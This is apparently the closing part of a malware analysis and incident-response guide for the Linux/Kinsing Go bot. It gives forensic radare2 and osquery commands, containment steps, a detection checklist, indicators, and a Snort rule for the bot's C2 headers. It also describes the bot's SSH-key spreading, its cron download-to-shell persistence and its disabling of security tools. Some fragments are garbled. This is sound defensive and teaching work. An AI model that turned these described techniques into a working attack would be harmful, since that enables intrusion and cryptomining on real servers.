journalctl -D /mnt/case/var/log/journal _COMM=crontab --no-pager 2>/dev/null
- The bot deletes
/var/log/syslog, but rotated logs, the systemd journal and remote syslog usually survive. This is why central logging matters. - Correlate the timeline with the C2 dates in the memory dumps (e.g.
Date: Thu, 13 Feb 2020in the HTTP replies) to bracket the infection window.
■ radare2 on the evidence — aiming at the artifacts
Below are radare2 operations on the collected evidence (the binary copied from /proc/<PID>/exe, the core dump and the carved files). Each screenshot shows the commands; the outputs are the ones recorded in this analysis.
;hxxp:// (recorded output, network chapter)..gopclntab even in a stripped binary. Newer radare2 names them sym.main.*, older versions sym.go.main.*.

pdsf prints only the strings and calls of a function: the fastest way to read what a big Go function does (Redis chapter).# radare2 cheat sheet used above r2 -A file # open and analyze r2 -n file # raw mode (dumps) iI~lang # language of the binary afl~main. # list Go main.* functions / string # search a string /x 7f454c46 # search hex (ELF header) px 128 @ hit0_0 # hexdump at a search hit ps @ addr # print string at address pdsf @ sym # strings+calls summary axt @ sym # who calls / references this wtf out.bin SIZE @ addr # write (carve) SIZE bytes from addr to a file
- Aim radare2 at artifacts, not at the whole binary: C2 strings, ELF headers inside dumps, known function names, secrets. Five targeted commands beat hours of scrolling.
- Use the binary from
/proc/<PID>/exefor code analysis, and the core / heap dump for runtime data. The two together give both what the bot can do and what it did. - Scan the collected files and the disk image with the YARA rule linked in the detection checklist to confirm the family.
■ radare2 #0 — live memory acquisition actually used in this analysis
This is the recorded radare2 session used on the v31 bot (lab values camouflaged). Attach to the running bot with r2 -d <PID>, list the maps, then write each region to a file:

dmlists the memory maps; seek to a map and writesizebytes withwt(wtfin current radare2). Dump the Go heap (0xc000000000, 64M) first.- Hash every dump right after writing it, and note the map name and address in your evidence log.
■ Hunting at scale with osquery
-- processes running from temp dirs or from deleted binaries SELECT pid, name, path, cmdline, parent FROM processes WHERE path LIKE '/tmp/%' OR path LIKE '/var/tmp/%' OR on_disk = 0; -- kinsing work directory, lock file and drops SELECT path, size, mtime FROM file WHERE path LIKE '/tmp/.ICEd-unix/%' OR path LIKE '/var/tmp/.ICEd-unix/%' OR path = '/var/lock/linux.lock'; -- listeners opened by temp or deleted binaries (on-demand backdoor) SELECT p.pid, p.name, l.port FROM listening_ports l JOIN processes p USING (pid) WHERE l.port > 20000 AND (p.path LIKE '/tmp/%' OR p.on_disk = 0);
The full query pack is in the detection content chapter.
■ Containers
docker ps -a --no-trunc # unknown containers (the family abused open Docker APIs) docker images --digests # images pulled by attackers ss -tlnp | grep -E ':2375|:2376' # Docker API exposed on TCP? docker inspect <id> | grep -iE 'cmd|entrypoint|mounts'
■ Tabletop exercise (30 minutes)
| Time | Inject | Expected decision |
|---|---|---|
| T+0 | 03:00 alert: CPU 100% on a web server | who is on call? start triage, do not reboot |
| T+5 | the cloud security agent of the host stopped reporting | treat as compromise; open an incident |
| T+10 | a process from /tmp talks to an unknown IP on tcp/80 with a Chrome 78 User-Agent | collect memory and /proc, freeze (SIGSTOP) |
| T+15 | 40 outgoing SSH connections from that host in 5 minutes | scope: list known_hosts targets, isolate the segment |
| T+20 | a cron entry downloads a script every minute | eradication plan: cron, binaries, keys |
| T+25 | management asks: data stolen? | answer from evidence: backdoor and SOCKS capability exist, check egress volumes |
■ Who does what (RACI)
| Task | SOC | Linux admin | Cloud team | IR lead |
|---|---|---|---|---|
| Triage and memory capture | R | C | I | A |
| Isolate host / security group | C | C | R | A |
| Remove cron, binaries, work dirs | I | R | I | A |
| Rotate SSH keys fleet-wide | I | R | R | A |
| Detection updates (YARA/Sigma/IDS) | R | I | C | A |
- Practise the playbook before the real night: tabletops reveal missing access, missing tools and unclear ownership.
- Ownership (RACI) matters as much as commands: in a worm incident the SSH key rotation crosses team boundaries.
■ Contain, eradicate, recover
| Step | Action | Why |
|---|---|---|
| 1 Contain | isolate the host (security group / VLAN); keep it powered while collecting | stops spreading and mining without losing RAM |
| 2 Collect | hot phase above: /proc copies, strace log, core dump, hashes | evidence that disappears on reboot |
| 3 Eradicate | remove cron entries for every user, the binaries in /tmp and /var/tmp, the work dir, any ld.so.preload entry; then end the frozen processes | removing only the process is useless while the cron job lives |
| 4 Credentials | rotate every SSH key found on the host and remove its public half from all servers | the spreader already used them |
| 5 Scope | check every host from known_hosts / ssh config / history | worm-like spread: the next victims are listed there |
| 6 Harden | Redis not exposed + AUTH/ACL, Docker API closed, egress filtering, central logging, agent tamper alerts | close the doors this bot used |
| 7 Lessons | update detections (YARA, IDS header rule, cron audit) and the IR runbook | make the next response faster |
- Rebuilding from a clean image is often safer than cleaning, because this family has used rootkits. If you clean, verify with a fresh boot, static tools and a YARA scan.
- Document every command you ran on the live host, with UTC time. Your actions change the system, and the report must show which changes were yours.
《 28. Detection and mitigation checklist 》
A short checklist to find and stop this kind of infection, based only on what this analysis shows.
- Processes: unknown Go binaries under
/tmpor/var/tmp;kdevtmpfsiusing high CPU; akinsingchild of init. - Files:
/tmp/.ICEd-unix/,/var/lock/linux.lock,/tmp/kdevtmpfsi,/tmp/kinsing, and deleted-but-open files under/proc/*/fd. - Persistence: cron lines that download a script every minute and pipe it to a shell, for every user.
- Network: HTTP with the Chrome 78 Windows User-Agent from a Linux server, the custom
Arch/Cores/Uuid/Versionheaders, paths/s /h /get /o, stratum traffic on :80, and new high listening ports. - Hardening: Redis not exposed and protected by a password or ACL, no passphrase-less SSH keys on servers, a Docker API never open to the internet, and an alert when a security agent or syslog stops.
- Response: dump the process memory and recover the deleted files first, then remove the cron entries, the binaries and the work directory, then rotate every SSH key the host had.
- Detection example: use the Yara rule like this example to detect.
- Killing the miner process alone is not cleanup. The cron job brings it back within a minute, and the stolen SSH keys keep the door open to your other servers.
《 29. Detection content: YARA, Sigma, Snort, Suricata, osquery, STIX 》
The signatures below are published as separate files next to this post (GitHub: unixfreaxjp). All of them are based on artifacts spotted in the wild attack and shown in this post. They are released as TLP:CLEAR; test them in your environment before production use.
| File | Type | What it detects |
|---|---|---|
yara/MMD_Linux_Kinsing_bot_v2.yar | YARA | bot hashes; bot family (main.* + Go libraries, validated on a71ad3); v31 functions; 2020 C2 builds; embedded XMRig of a71ad3 |
sigma/*.yml (6 rules) | Sigma | miner drop-and-run by the bot, process paths, file artifacts, security tool tampering, cron download-to-shell, C2 User-Agent in proxy logs |
snort/MMD_kinsing.rules | Snort 2.9 | C2 callback headers, /mg /ms /get, script and bot downloads, stratum login on tcp/80 |
suricata/MMD_kinsing.rules | Suricata 6/7 | same logic with sticky buffers |
osquery/MMD_kinsing_hunt.conf | osquery pack | temp/deleted processes, work dir, cron, preload, backdoor listeners, SSH fan-out |
stix/MMD_kinsing_iocs_stix21.json | STIX 2.1 | machine-readable IOCs, malware and relationships (indicators are not masked in this file) |
Example: the network rule that survived from v28 to v31, because the bot's header set never changed:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MMD Linux/Kinsing bot C2 callback headers"; flow:established,to_server; http.user_agent; content:"Chrome/78.0.3904.108"; http.header; content:"Arch|3a 20|"; content:"Cores|3a 20|"; content:"Uuid|3a 20|"; content:"Version|3a 20|"; classtype:trojan-activity; sid:1972001; rev:1;)
- Layer the detections: hashes (easy to change) → host artifacts → network fingerprint → behaviour. The higher layers survive new builds.
- Publish detections with the evidence behind them; analysts trust rules they can trace back to an artifact.
《 30. Summary for responders 》
Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys. The Monero miner, the installer/uninstaller scripts and the cron scheduler are only companions; the real threat is the bot itself.
- Entry points: Redis with weak authentication, Docker APIs exposed to the internet, SSH keys without a passphrase, and known vulnerabilities.
- Defense evasion: syslog deleted; firewall, SELinux and AppArmor disabled; cloud security agents removed; competing miners stopped.
- Persistence: a cron entry that downloads and runs a script every minute.
- C2: HTTP on TCP/80 with a fixed Chrome 78 User-Agent and custom headers (Arch/Cores/Uuid/Version and more). Tasks are RSA-encrypted, and the same key is reused in v28 and v31.
- Added in this post: static analysis of build a71ad3, the one spr.sh installs (SHA-256, Go module list, function list, pkger-embedded data, wallet), and the analysis of v31 "Dev 2066".
Incident response key points: first preserve memory and /proc without killing the bot, freeze it with SIGSTOP, then remove the cron entries, binaries and work directories, and rotate every SSH key on the host. Hosts listed in known_hosts and bash_history are the next likely victims. For YARA / Sigma / Snort / Suricata / osquery / STIX detection content, see the detection content chapter.
《 31. Epilogue 》
To wrap up: kinsing is not just a miner dropper. It is a full Go-written bot with encrypted C2 tasking, a remote shell, a SOCKS proxy, an on-demand backdoor, a self-updater, SSH-key based lateral movement, mass-scanning, Redis AUTH brute-forcing, and an aggressive killer of competing miners and of cloud security agents. One weak Redis or one leaked key is enough to start the chain, and the worm stage does the rest.
If you are a student, try to reproduce the reversing of a Go ELF yourself with radare2 in a safe, isolated environment and compare your results with these notes. If you are a defender, take the detection checklist and check your Linux fleet.
@unixfreaxjp, malwaremustdie.org